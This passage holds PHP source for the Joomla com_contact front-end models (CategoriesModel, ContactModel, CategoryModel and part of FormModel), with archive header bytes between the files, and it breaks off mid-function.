     * @param   string  $ordering   An optional ordering field.
     * @param   string  $direction  An optional direction (asc|desc).
     *
     * @return  void
     *
     * @since   1.6
     */
    protected function populateState($ordering = null, $direction = null)
    {
        $app    = Factory::getApplication();
        $input  = $app->getInput();
        $params = ComponentHelper::getParams('com_contact');

        // List state information
        $limit = $app->getUserStateFromRequest('global.list.limit', 'limit', $app->get('list_limit'), 'uint');
        $this->setState('list.limit', $limit);

        $limitstart = $input->get('limitstart', 0, 'uint');
        $this->setState('list.start', $limitstart);

        // Optional filter text
        $this->setState('list.filter', $input->getString('filter-search'));

        $orderCol = $input->get('filter_order', 'ordering');

        if (!in_array($orderCol, $this->filter_fields)) {
            $orderCol = 'ordering';
        }

        $this->setState('list.ordering', $orderCol);

        $listOrder = $input->get('filter_order_Dir', 'ASC');

        if (!in_array(strtoupper($listOrder), ['ASC', 'DESC', ''])) {
            $listOrder = 'ASC';
        }

        $this->setState('list.direction', $listOrder);

        $user = $this->getCurrentUser();

        if ((!$user->authorise('core.edit.state', 'com_contact')) && (!$user->authorise('core.edit', 'com_contact'))) {
            // Limit to published for people who can't edit or edit.state.
            $this->setState('filter.published', 1);

            // Filter by start and end dates.
            $this->setState('filter.publish_date', true);
        }

        $this->setState('filter.language', Multilanguage::isEnabled());

        // Load the parameters.
        $this->setState('params', $params);
    }
}
PK���\�k�j��)com_contact/src/Model/CategoriesModel.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Contact\Site\Model;

use Joomla\CMS\Categories\Categories;
use Joomla\CMS\Categories\CategoryNode;
use Joomla\CMS\Factory;
use Joomla\CMS\MVC\Model\ListModel;
use Joomla\Registry\Registry;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * This models supports retrieving lists of contact categories.
 *
 * @since  1.6
 */
class CategoriesModel extends ListModel
{
    /**
     * Model context string.
     *
     * @var     string
     */
    public $_context = 'com_contact.categories';

    /**
     * The category context (allows other extensions to derived from this model).
     *
     * @var     string
     */
    protected $_extension = 'com_contact';

    /**
     * Parent category of the current one
     *
     * @var    CategoryNode|null
     */
    private $_parent = null;

    /**
     * Array of child-categories
     *
     * @var    CategoryNode[]|null
     */
    private $_items = null;

    /**
     * Method to auto-populate the model state.
     *
     * Note. Calling getState in this method will result in recursion.
     *
     * @param   string  $ordering   An optional ordering field.
     * @param   string  $direction  An optional direction (asc|desc).
     *
     * @return  void
     *
     * @since   1.6
     */
    protected function populateState($ordering = null, $direction = null)
    {
        $app = Factory::getApplication();
        $this->setState('filter.extension', $this->_extension);

        // Get the parent id if defined.
        $parentId = $app->getInput()->getInt('id');
        $this->setState('filter.parentId', $parentId);

        $params = $app->getParams();
        $this->setState('params', $params);

        $this->setState('filter.published', 1);
        $this->setState('filter.access', true);
    }

    /**
     * Method to get a store id based on model configuration state.
     *
     * This is necessary because the model is used by the component and
     * different modules that might need different sets of data or different
     * ordering requirements.
     *
     * @param   string  $id  A prefix for the store id.
     *
     * @return  string  A store id.
     */
    protected function getStoreId($id = '')
    {
        // Compile the store id.
        $id .= ':' . $this->getState('filter.extension');
        $id .= ':' . $this->getState('filter.published');
        $id .= ':' . $this->getState('filter.access');
        $id .= ':' . $this->getState('filter.parentId');

        return parent::getStoreId($id);
    }

    /**
     * Redefine the function and add some properties to make the styling easier
     *
     * @return  mixed  An array of data items on success, false on failure.
     */
    public function getItems()
    {
        if ($this->_items === null) {
            $app    = Factory::getApplication();
            $menu   = $app->getMenu();
            $active = $menu->getActive();

            if ($active) {
                $params = $active->getParams();
            } else {
                $params = new Registry();
            }

            $options               = [];
            $options['countItems'] = $params->get('show_cat_items_cat', 1) || !$params->get('show_empty_categories_cat', 0);
            $categories            = Categories::getInstance('Contact', $options);
            $this->_parent         = $categories->get($this->getState('filter.parentId', 'root'));

            if (is_object($this->_parent)) {
                $this->_items = $this->_parent->getChildren();
            } else {
                $this->_items = false;
            }
        }

        return $this->_items;
    }

    /**
     * Gets the id of the parent category for the selected list of categories
     *
     * @return   integer  The id of the parent category
     *
     * @since    1.6.0
     */
    public function getParent()
    {
        if (!is_object($this->_parent)) {
            $this->getItems();
        }

        return $this->_parent;
    }
}
PK���\�fn�&@&@&com_contact/src/Model/ContactModel.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Contact\Site\Model;

use Joomla\CMS\Application\SiteApplication;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Form\Form;
use Joomla\CMS\Helper\TagsHelper;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Model\FormModel;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\Database\ParameterType;
use Joomla\Database\QueryInterface;
use Joomla\Registry\Registry;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Single item model for a contact
 *
 * @package     Joomla.Site
 * @subpackage  com_contact
 * @since       1.5
 */
class ContactModel extends FormModel
{
    /**
     * The name of the view for a single item
     *
     * @var    string
     * @since  1.6
     */
    protected $view_item = 'contact';

    /**
     * A loaded item
     *
     * @var    \stdClass[]
     * @since  1.6
     */
    protected $_item = [];

    /**
     * Model context string.
     *
     * @var     string
     */
    protected $_context = 'com_contact.contact';

    /**
     * Method to auto-populate the model state.
     *
     * Note. Calling getState in this method will result in recursion.
     *
     * @return  void
     *
     * @since   1.6
     */
    protected function populateState()
    {
        /** @var SiteApplication $app */
        $app = Factory::getContainer()->get(SiteApplication::class);

        if (Factory::getApplication()->isClient('api')) {
            // @todo: remove this
            $app->loadLanguage();
            $this->setState('contact.id', Factory::getApplication()->getInput()->post->getInt('id'));
        } else {
            $this->setState('contact.id', $app->getInput()->getInt('id'));
        }

        $this->setState('params', $app->getParams());

        $user = $this->getCurrentUser();

        if ((!$user->authorise('core.edit.state', 'com_contact')) && (!$user->authorise('core.edit', 'com_contact'))) {
            $this->setState('filter.published', 1);
            $this->setState('filter.archived', 2);
        }
    }

    /**
     * Method to get the contact form.
     * The base form is loaded from XML and then an event is fired
     *
     * @param   array    $data      An optional array of data for the form to interrogate.
     * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
     *
     * @return  Form  A Form object on success, false on failure
     *
     * @since   1.6
     */
    public function getForm($data = [], $loadData = true)
    {
        $form = $this->loadForm('com_contact.contact', 'contact', ['control' => 'jform', 'load_data' => $loadData]);

        if (empty($form)) {
            return false;
        }

        $temp    = clone $this->getState('params');
        $contact = $this->getItem($this->getState('contact.id'));
        $active  = Factory::getContainer()->get(SiteApplication::class)->getMenu()->getActive();

        if ($active) {
            // If the current view is the active item and a contact view for this contact, then the menu item params take priority
            if (strpos($active->link, 'view=contact') && strpos($active->link, '&id=' . (int) $contact->id)) {
                // $contact->params are the contact params, $temp are the menu item params
                // Merge so that the menu item params take priority
                $contact->params->merge($temp);
            } else {
                // Current view is not a single contact, so the contact params take priority here
                // Merge the menu item params with the contact params so that the contact params take priority
                $temp->merge($contact->params);
                $contact->params = $temp;
            }
        } else {
            // Merge so that contact params take priority
            $temp->merge($contact->params);
            $contact->params = $temp;
        }

        if (!$contact->params->get('show_email_copy', 0)) {
            $form->removeField('contact_email_copy');
        }

        return $form;
    }

    /**
     * Method to get the data that should be injected in the form.
     *
     * @return  array    The default data is an empty array.
     *
     * @since   1.6.2
     */
    protected function loadFormData()
    {
        $data = (array) Factory::getApplication()->getUserState('com_contact.contact.data', []);

        if (empty($data['language']) && Multilanguage::isEnabled()) {
            $data['language'] = Factory::getLanguage()->getTag();
        }

        // Add contact catid to contact form data, so fields plugin can work properly
        if (empty($data['catid'])) {
            $data['catid'] = $this->getItem()->catid;
        }

        $this->preprocessData('com_contact.contact', $data);

        return $data;
    }

    /**
     * Gets a contact
     *
     * @param   integer  $pk  Id for the contact
     *
     * @return  mixed Object or null
     *
     * @since   1.6.0
     */
    public function getItem($pk = null)
    {
        $pk = $pk ?: (int) $this->getState('contact.id');

        if (!isset($this->_item[$pk])) {
            try {
                $db    = $this->getDatabase();
                $query = $db->getQuery(true);

                $query->select($this->getState('item.select', 'a.*'))
                    ->select($this->getSlugColumn($query, 'a.id', 'a.alias') . ' AS slug')
                    ->select($this->getSlugColumn($query, 'c.id', 'c.alias') . ' AS catslug')
                    ->from($db->quoteName('#__contact_details', 'a'))

                    // Join on category table.
                    ->select('c.title AS category_title, c.alias AS category_alias, c.access AS category_access')
                    ->leftJoin($db->quoteName('#__categories', 'c'), 'c.id = a.catid')

                    // Join over the categories to get parent category titles
                    ->select('parent.title AS parent_title, parent.id AS parent_id, parent.path AS parent_route, parent.alias AS parent_alias')
                    ->leftJoin($db->quoteName('#__categories', 'parent'), 'parent.id = c.parent_id')
                    ->where($db->quoteName('a.id') . ' = :id')
                    ->bind(':id', $pk, ParameterType::INTEGER);

                // Filter by start and end dates.
                $nowDate = Factory::getDate()->toSql();

                // Filter by published state.
                $published = $this->getState('filter.published');
                $archived  = $this->getState('filter.archived');

                if (is_numeric($published)) {
                    $queryString = $db->quoteName('a.published') . ' = :published';

                    if ($archived !== null) {
                        $queryString = '(' . $queryString . ' OR ' . $db->quoteName('a.published') . ' = :archived)';
                        $query->bind(':archived', $archived, ParameterType::INTEGER);
                    }

                    $query->where($queryString)
                        ->where('(' . $db->quoteName('a.publish_up') . ' IS NULL OR ' . $db->quoteName('a.publish_up') . ' <= :publish_up)')
                        ->where('(' . $db->quoteName('a.publish_down') . ' IS NULL OR ' . $db->quoteName('a.publish_down') . ' >= :publish_down)')
                        ->bind(':published', $published, ParameterType::INTEGER)
                        ->bind(':publish_up', $nowDate)
                        ->bind(':publish_down', $nowDate);
                }

                $db->setQuery($query);
                $data = $db->loadObject();

                if (empty($data)) {
                    throw new \Exception(Text::_('COM_CONTACT_ERROR_CONTACT_NOT_FOUND'), 404);
                }

                // Check for published state if filter set.
                if ((is_numeric($published) || is_numeric($archived)) && (($data->published != $published) && ($data->published != $archived))) {
                    throw new \Exception(Text::_('COM_CONTACT_ERROR_CONTACT_NOT_FOUND'), 404);
                }

                /**
                 * In case some entity params have been set to "use global", those are
                 * represented as an empty string and must be "overridden" by merging
                 * the component and / or menu params here.
                 */
                $registry = new Registry($data->params);

                $data->params = clone $this->getState('params');
                $data->params->merge($registry);

                $registry       = new Registry($data->metadata);
                $data->metadata = $registry;

                // Some contexts may not use tags data at all, so we allow callers to disable loading tag data
                if ($this->getState('load_tags', true)) {
                    $data->tags = new TagsHelper();
                    $data->tags->getItemTags('com_contact.contact', $data->id);
                }

                // Compute access permissions.
                if (($access = $this->getState('filter.access'))) {
                    // If the access filter has been set, we already know this user can view.
                    $data->params->set('access-view', true);
                } else {
                    // If no access filter is set, the layout takes some responsibility for display of limited information.
                    $user   = $this->getCurrentUser();
                    $groups = $user->getAuthorisedViewLevels();

                    if ($data->catid == 0 || $data->category_access === null) {
                        $data->params->set('access-view', in_array($data->access, $groups));
                    } else {
                        $data->params->set('access-view', in_array($data->access, $groups) && in_array($data->category_access, $groups));
                    }
                }

                $this->_item[$pk] = $data;
            } catch (\Exception $e) {
                if ($e->getCode() == 404) {
                    // Need to go through the error handler to allow Redirect to work.
                    throw $e;
                } else {
                    $this->setError($e);
                    $this->_item[$pk] = false;
                }
            }
        }

        if ($this->_item[$pk]) {
            $this->buildContactExtendedData($this->_item[$pk]);
        }

        return $this->_item[$pk];
    }

    /**
     * Load extended data (profile, articles) for a contact
     *
     * @param   object  $contact  The contact object
     *
     * @return  void
     */
    protected function buildContactExtendedData($contact)
    {
        $db        = $this->getDatabase();
        $nowDate   = Factory::getDate()->toSql();
        $user      = $this->getCurrentUser();
        $groups    = $user->getAuthorisedViewLevels();
        $published = $this->getState('filter.published');
        $query     = $db->getQuery(true);

        // If we are showing a contact list, then the contact parameters take priority
        // So merge the contact parameters with the merged parameters
        if ($this->getState('params')->get('show_contact_list')) {
            $this->getState('params')->merge($contact->params);
        }

        // Get the com_content articles by the linked user
        if ((int) $contact->user_id && $this->getState('params')->get('show_articles')) {
            $query->select('a.id')
                ->select('a.title')
                ->select('a.state')
                ->select('a.access')
                ->select('a.catid')
                ->select('a.created')
                ->select('a.language')
                ->select('a.publish_up')
                ->select('a.introtext')
                ->select('a.images')
                ->select($this->getSlugColumn($query, 'a.id', 'a.alias') . ' AS slug')
                ->select($this->getSlugColumn($query, 'c.id', 'c.alias') . ' AS catslug')
                ->from($db->quoteName('#__content', 'a'))
                ->leftJoin($db->quoteName('#__categories', 'c') . ' ON a.catid = c.id')
                ->where($db->quoteName('a.created_by') . ' = :created_by')
                ->whereIn($db->quoteName('a.access'), $groups)
                ->bind(':created_by', $contact->user_id, ParameterType::INTEGER)
                ->order('a.publish_up DESC');

            // Filter per language if plugin published
            if (Multilanguage::isEnabled()) {
                $language = [Factory::getLanguage()->getTag(), '*'];
                $query->whereIn($db->quoteName('a.language'), $language, ParameterType::STRING);
            }

            if (is_numeric($published)) {
                $query->where('a.state IN (1,2)')
                    ->where('(' . $db->quoteName('a.publish_up') . ' IS NULL' .
                        ' OR ' . $db->quoteName('a.publish_up') . ' <= :now1)')
                    ->where('(' . $db->quoteName('a.publish_down') . ' IS NULL' .
                        ' OR ' . $db->quoteName('a.publish_down') . ' >= :now2)')
                    ->bind([':now1', ':now2'], $nowDate);
            }

            // Number of articles to display from config/menu params
            $articles_display_num = $this->getState('params')->get('articles_display_num', 10);

            // Use contact setting?
            if ($articles_display_num === 'use_contact') {
                $articles_display_num = $contact->params->get('articles_display_num', 10);

                // Use global?
                if ((string) $articles_display_num === '') {
                    $articles_display_num = ComponentHelper::getParams('com_contact')->get('articles_display_num', 10);
                }
            }

            $query->setLimit((int) $articles_display_num);
            $db->setQuery($query);
            $contact->articles = $db->loadObjectList();
        } else {
            $contact->articles = null;
        }

        // Get the profile information for the linked user
        $userModel = $this->bootComponent('com_users')->getMVCFactory()
            ->createModel('User', 'Administrator', ['ignore_request' => true]);
        $data = $userModel->getItem((int) $contact->user_id);

        PluginHelper::importPlugin('user');

        // Get the form.
        Form::addFormPath(JPATH_SITE . '/components/com_users/forms');

        $form = Form::getInstance('com_users.profile', 'profile');

        // Trigger the form preparation event.
        Factory::getApplication()->triggerEvent('onContentPrepareForm', [$form, $data]);

        // Trigger the data preparation event.
        Factory::getApplication()->triggerEvent('onContentPrepareData', ['com_users.profile', $data]);

        // Load the data into the form after the plugins have operated.
        $form->bind($data);
        $contact->profile = $form;
    }

    /**
     * Generate column expression for slug or catslug.
     *
     * @param   QueryInterface  $query  Current query instance.
     * @param   string          $id     Column id name.
     * @param   string          $alias  Column alias name.
     *
     * @return  string
     *
     * @since   4.0.0
     */
    private function getSlugColumn($query, $id, $alias)
    {
        return 'CASE WHEN '
            . $query->charLength($alias, '!=', '0')
            . ' THEN '
            . $query->concatenate([$query->castAsChar($id), $alias], ':')
            . ' ELSE '
            . $query->castAsChar($id) . ' END';
    }

    /**
     * Increment the hit counter for the contact.
     *
     * @param   integer  $pk  Optional primary key of the contact to increment.
     *
     * @return  boolean  True if successful; false otherwise and internal error set.
     *
     * @since   3.0
     */
    public function hit($pk = 0)
    {
        $input    = Factory::getApplication()->getInput();
        $hitcount = $input->getInt('hitcount', 1);

        if ($hitcount) {
            $pk = $pk ?: (int) $this->getState('contact.id');

            $table = $this->getTable('Contact');
            $table->hit($pk);
        }

        return true;
    }
}
PK���\��n8n8'com_contact/src/Model/CategoryModel.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Contact\Site\Model;

use Joomla\CMS\Categories\Categories;
use Joomla\CMS\Categories\CategoryNode;
use Joomla\CMS\Factory;
use Joomla\CMS\Helper\TagsHelper;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\MVC\Model\ListModel;
use Joomla\CMS\Table\Table;
use Joomla\Database\ParameterType;
use Joomla\Registry\Registry;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Single item model for a contact
 *
 * @package     Joomla.Site
 * @subpackage  com_contact
 * @since       1.5
 */
class CategoryModel extends ListModel
{
    /**
     * Category item data
     *
     * @var    CategoryNode
     */
    protected $_item;

    /**
     * Category left and right of this one
     *
     * @var    CategoryNode[]|null
     */
    protected $_siblings;

    /**
     * Array of child-categories
     *
     * @var    CategoryNode[]|null
     */
    protected $_children;

    /**
     * Parent category of the current one
     *
     * @var    CategoryNode|null
     */
    protected $_parent;

    /**
     * The category that applies.
     *
     * @var    object
     */
    protected $_category;

    /**
     * The list of other contact categories.
     *
     * @var    array
     */
    protected $_categories;

    /**
     * Constructor.
     *
     * @param   array  $config  An optional associative array of configuration settings.
     *
     * @since   1.6
     */
    public function __construct($config = [])
    {
        if (empty($config['filter_fields'])) {
            $config['filter_fields'] = [
                'id', 'a.id',
                'name', 'a.name',
                'con_position', 'a.con_position',
                'suburb', 'a.suburb',
                'state', 'a.state',
                'country', 'a.country',
                'ordering', 'a.ordering',
                'sortname',
                'sortname1', 'a.sortname1',
                'sortname2', 'a.sortname2',
                'sortname3', 'a.sortname3',
                'featuredordering', 'a.featured',
            ];
        }

        parent::__construct($config);
    }

    /**
     * Method to get a list of items.
     *
     * @return  mixed  An array of objects on success, false on failure.
     */
    public function getItems()
    {
        // Invoke the parent getItems method to get the main list
        $items = parent::getItems();

        if ($items === false) {
            return false;
        }

        $taggedItems = [];

        // Convert the params field into an object, saving original in _params
        foreach ($items as $item) {
            if (!isset($this->_params)) {
                $item->params = new Registry($item->params);
            }

            // Some contexts may not use tags data at all, so we allow callers to disable loading tag data
            if ($this->getState('load_tags', true)) {
                $item->tags             = new TagsHelper();
                $taggedItems[$item->id] = $item;
            }
        }

        // Load tags of all items.
        if ($taggedItems) {
            $tagsHelper = new TagsHelper();
            $itemIds    = \array_keys($taggedItems);

            foreach ($tagsHelper->getMultipleItemTags('com_contact.contact', $itemIds) as $id => $tags) {
                $taggedItems[$id]->tags->itemTags = $tags;
            }
        }

        return $items;
    }

    /**
     * Method to build an SQL query to load the list data.
     *
     * @return  \Joomla\Database\DatabaseQuery    An SQL query
     *
     * @since   1.6
     */
    protected function getListQuery()
    {
        $user   = $this->getCurrentUser();
        $groups = $user->getAuthorisedViewLevels();

        // Create a new query object.
        $db = $this->getDatabase();

        /** @var \Joomla\Database\DatabaseQuery $query */
        $query = $db->getQuery(true);

        $query->select($this->getState('list.select', 'a.*'))
            ->select($this->getSlugColumn($query, 'a.id', 'a.alias') . ' AS slug')
            ->select($this->getSlugColumn($query, 'c.id', 'c.alias') . ' AS catslug')
        /**
         * @todo: we actually should be doing it but it's wrong this way
         *  . ' CASE WHEN CHAR_LENGTH(a.alias) THEN CONCAT_WS(\':\', a.id, a.alias) ELSE a.id END as slug, '
         *  . ' CASE WHEN CHAR_LENGTH(c.alias) THEN CONCAT_WS(\':\', c.id, c.alias) ELSE c.id END AS catslug ');
         */
            ->from($db->quoteName('#__contact_details', 'a'))
            ->leftJoin($db->quoteName('#__categories', 'c') . ' ON c.id = a.catid')
            ->whereIn($db->quoteName('a.access'), $groups);

        // Filter by category.
        if ($categoryId = $this->getState('category.id')) {
            $query->where($db->quoteName('a.catid') . ' = :acatid')
                ->whereIn($db->quoteName('c.access'), $groups);
            $query->bind(':acatid', $categoryId, ParameterType::INTEGER);
        }

        // Join over the users for the author and modified_by names.
        $query->select("CASE WHEN a.created_by_alias > ' ' THEN a.created_by_alias ELSE ua.name END AS author")
            ->select('ua.email AS author_email')
            ->leftJoin($db->quoteName('#__users', 'ua') . ' ON ua.id = a.created_by')
            ->leftJoin($db->quoteName('#__users', 'uam') . ' ON uam.id = a.modified_by');

        // Filter by state
        $state = $this->getState('filter.published');

        if (is_numeric($state)) {
            $query->where($db->quoteName('a.published') . ' = :published');
            $query->bind(':published', $state, ParameterType::INTEGER);
        } else {
            $query->whereIn($db->quoteName('c.published'), [0,1,2]);
        }

        // Filter by start and end dates.
        $nowDate = Factory::getDate()->toSql();

        if ($this->getState('filter.publish_date')) {
            $query->where('(' . $db->quoteName('a.publish_up')
                . ' IS NULL OR ' . $db->quoteName('a.publish_up') . ' <= :publish_up)')
                ->where('(' . $db->quoteName('a.publish_down')
                    . ' IS NULL OR ' . $db->quoteName('a.publish_down') . ' >= :publish_down)')
                ->bind(':publish_up', $nowDate)
                ->bind(':publish_down', $nowDate);
        }

        // Filter by search in title
        $search = $this->getState('list.filter');

        if (!empty($search)) {
            $search = '%' . trim($search) . '%';
            $query->where($db->quoteName('a.name') . ' LIKE :name ');
            $query->bind(':name', $search);
        }

        // Filter on the language.
        if ($this->getState('filter.language')) {
            $query->whereIn($db->quoteName('a.language'), [Factory::getApplication()->getLanguage()->getTag(), '*'], ParameterType::STRING);
        }

        // Set sortname ordering if selected
        if ($this->getState('list.ordering') === 'sortname') {
            $query->order($db->escape('a.sortname1') . ' ' . $db->escape($this->getState('list.direction', 'ASC')))
                ->order($db->escape('a.sortname2') . ' ' . $db->escape($this->getState('list.direction', 'ASC')))
                ->order($db->escape('a.sortname3') . ' ' . $db->escape($this->getState('list.direction', 'ASC')));
        } elseif ($this->getState('list.ordering') === 'featuredordering') {
            $query->order($db->escape('a.featured') . ' DESC')
                ->order($db->escape('a.ordering') . ' ASC');
        } else {
            $query->order($db->escape($this->getState('list.ordering', 'a.ordering')) . ' ' . $db->escape($this->getState('list.direction', 'ASC')));
        }

        return $query;
    }

    /**
     * Method to auto-populate the model state.
     *
     * Note. Calling getState in this method will result in recursion.
     *
     * @param   string  $ordering   An optional ordering field.
     * @param   string  $direction  An optional direction (asc|desc).
     *
     * @return  void
     *
     * @since   1.6
     */
    protected function populateState($ordering = null, $direction = null)
    {
        $app   = Factory::getApplication();
        $input = $app->getInput();

        $params = $app->getParams();
        $this->setState('params', $params);

        // List state information
        $format = $input->getWord('format');

        if ($format === 'feed') {
            $limit = $app->get('feed_limit');
        } else {
            $limit = $app->getUserStateFromRequest(
                'com_contact.category.list.limit',
                'limit',
                $params->get('contacts_display_num', $app->get('list_limit')),
                'uint'
            );
        }

        $this->setState('list.limit', $limit);

        $limitstart = $input->get('limitstart', 0, 'uint');
        $this->setState('list.start', $limitstart);

        // Optional filter text
        $itemid = $input->get('Itemid', 0, 'int');
        $search = $app->getUserStateFromRequest('com_contact.category.list.' . $itemid . '.filter-search', 'filter-search', '', 'string');
        $this->setState('list.filter', $search);

        $orderCol = $input->get('filter_order', $params->get('initial_sort', 'ordering'));

        if (!in_array($orderCol, $this->filter_fields)) {
            $orderCol = 'ordering';
        }

        $this->setState('list.ordering', $orderCol);

        $listOrder = $input->get('filter_order_Dir', 'ASC');

        if (!in_array(strtoupper($listOrder), ['ASC', 'DESC', ''])) {
            $listOrder = 'ASC';
        }

        $this->setState('list.direction', $listOrder);

        $id = $input->get('id', 0, 'int');
        $this->setState('category.id', $id);

        $user = $this->getCurrentUser();

        if ((!$user->authorise('core.edit.state', 'com_contact')) && (!$user->authorise('core.edit', 'com_contact'))) {
            // Limit to published for people who can't edit or edit.state.
            $this->setState('filter.published', 1);

            // Filter by start and end dates.
            $this->setState('filter.publish_date', true);
        }

        $this->setState('filter.language', Multilanguage::isEnabled());
    }

    /**
     * Method to get category data for the current category
     *
     * @return  object  The category object
     *
     * @since   1.5
     */
    public function getCategory()
    {
        if (!is_object($this->_item)) {
            $app    = Factory::getApplication();
            $menu   = $app->getMenu();
            $active = $menu->getActive();

            if ($active) {
                $params = $active->getParams();
            } else {
                $params = new Registry();
            }

            $options               = [];
            $options['countItems'] = $params->get('show_cat_items', 1) || $params->get('show_empty_categories', 0);
            $categories            = Categories::getInstance('Contact', $options);
            $this->_item           = $categories->get($this->getState('category.id', 'root'));

            if (is_object($this->_item)) {
                $this->_children = $this->_item->getChildren();
                $this->_parent   = false;

                if ($this->_item->getParent()) {
                    $this->_parent = $this->_item->getParent();
                }

                $this->_rightsibling = $this->_item->getSibling();
                $this->_leftsibling  = $this->_item->getSibling(false);
            } else {
                $this->_children = false;
                $this->_parent   = false;
            }
        }

        return $this->_item;
    }

    /**
     * Get the parent category.
     *
     * @return  mixed  An array of categories or false if an error occurs.
     */
    public function getParent()
    {
        if (!is_object($this->_item)) {
            $this->getCategory();
        }

        return $this->_parent;
    }

    /**
     * Get the sibling (adjacent) categories.
     *
     * @return  mixed  An array of categories or false if an error occurs.
     */
    public function &getLeftSibling()
    {
        if (!is_object($this->_item)) {
            $this->getCategory();
        }

        return $this->_leftsibling;
    }

    /**
     * Get the sibling (adjacent) categories.
     *
     * @return  mixed  An array of categories or false if an error occurs.
     */
    public function &getRightSibling()
    {
        if (!is_object($this->_item)) {
            $this->getCategory();
        }

        return $this->_rightsibling;
    }

    /**
     * Get the child categories.
     *
     * @return  mixed  An array of categories or false if an error occurs.
     */
    public function &getChildren()
    {
        if (!is_object($this->_item)) {
            $this->getCategory();
        }

        return $this->_children;
    }

    /**
     * Generate column expression for slug or catslug.
     *
     * @param   \Joomla\Database\DatabaseQuery  $query  Current query instance.
     * @param   string                          $id     Column id name.
     * @param   string                          $alias  Column alias name.
     *
     * @return  string
     *
     * @since   4.0.0
     */
    private function getSlugColumn($query, $id, $alias)
    {
        return 'CASE WHEN '
            . $query->charLength($alias, '!=', '0')
            . ' THEN '
            . $query->concatenate([$query->castAsChar($id), $alias], ':')
            . ' ELSE '
            . $query->castAsChar($id) . ' END';
    }

    /**
     * Increment the hit counter for the category.
     *
     * @param   integer  $pk  Optional primary key of the category to increment.
     *
     * @return  boolean  True if successful; false otherwise and internal error set.
     *
     * @since   3.2
     */
    public function hit($pk = 0)
    {
        $input    = Factory::getApplication()->getInput();
        $hitcount = $input->getInt('hitcount', 1);

        if ($hitcount) {
            $pk = (!empty($pk)) ? $pk : (int) $this->getState('category.id');

            $table = Table::getInstance('Category');
            $table->hit($pk);
        }

        return true;
    }
}
PK���\�$�B��#com_contact/src/Model/FormModel.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2020 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Contact\Site\Model;

use Joomla\CMS\Factory;
use Joomla\CMS\Form\Form;
use Joomla\CMS\Helper\TagsHelper;
use Joomla\CMS\Language\Associations;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Table\Table;
use Joomla\Registry\Registry;
use Joomla\Utilities\ArrayHelper;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Contact Component Contact Model
 *
 * @since  4.0.0
 */
class FormModel extends \Joomla\Component\Contact\Administrator\Model\ContactModel
{
    /**
     * Model typeAlias string. Used for version history.
     *
     * @var    string
     *
     * @since  4.0.0
     */
    public $typeAlias = 'com_contact.contact';

    /**
     * Name of the form
     *
     * @var    string
     *
     * @since  4.0.0
     */
    protected $formName = 'form';

    /**
     * Method to get the row form.
     *
     * @param   array    $data      Data for the form.
     * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
     *
     * @return  Form|boolean  A Form object on success, false on failure
     *
     * @since   4.0.0
     */
    public function getForm($data = [], $loadData = true)
    {
        $form = parent::getForm($data, $loadData);

        // Prevent messing with article language and category when editing existing contact with associations
        if ($id = $this->getState('contact.id') && Associations::isEnabled()) {
            $associations = Associations::getAssociations('com_contact', '#__contact_details', 'com_contact.item', $id);

            // Make fields read only
            if (!empty($associations)) {
                $form->setFieldAttribute('language', 'readonly', 'true');
                $form->setFieldAttribute('language', 'filter', 'unset');
            }
        }

        return $form;
    }

    /**
     * Method to get contact data.
     *
     * @param   integer  $itemId  The id of the contact.
     *
     * @return  mixed  Contact item data object on success, false on failure.
     *
     * @throws  \Exception
     *
     * @since   4.0.0
     */
    public function getItem($itemId = null)
    {
        $itemId = (int) (!empty($itemId)) ? $itemId : $this->getState('contact.id');

        // Get a row instance.
        $table = $this->getTable();

        // Attempt to load the row.
        try {
            if (!$table->load($itemId)) {
                return false;
            }
        } catch (\Exception $e) {
            Factory::getApplication()->enqueueMessage($e->getMessage());

            return false;
        }

        $properties = $table->getProperties();
        $value      = ArrayHelper::toObject($properties, \Joomla\CMS\Object\CMSObject::class);

        // Convert field to Registry.
        $value->params = new Registry($value->params);

        // Convert the metadata field to an array.
        $registry        = new Registry($value->metadata);
        $value->metadata = $registry->toArray();

        if ($itemId) {
            $value->tags = new TagsHelper();
            $value->tags->getTagIds($value->id, 'com_contact.contact');
            $value->metadata['tags'] = $value->tags;
        }

        return $value;
    }

    /**
     * Get the return URL.
     *
     * @return  string  The return URL.
     *
     * @since   4.0.0
     */
    public function getReturnPage()
    {
        return base64_encode($this->getState('return_page', ''));
    }

    /**
     * Method to save the form data.
     *
     * @param   array  $data  The form data.
     *
     * @return  boolean  True on success.
     *
     * @since   4.0.0
     *
     * @throws  \Exception
     */
    public function save($data)
    {
        // Associations are not edited in frontend ATM so we have to inherit them
        if (
            Associations::isEnabled() && !empty($data['id'])
            && $associations = Associations::getAssociations('com_contact', '#__contact_details', 'com_contact.item', $data['id'])
        ) {
            foreach ($associations as $tag => $associated) {
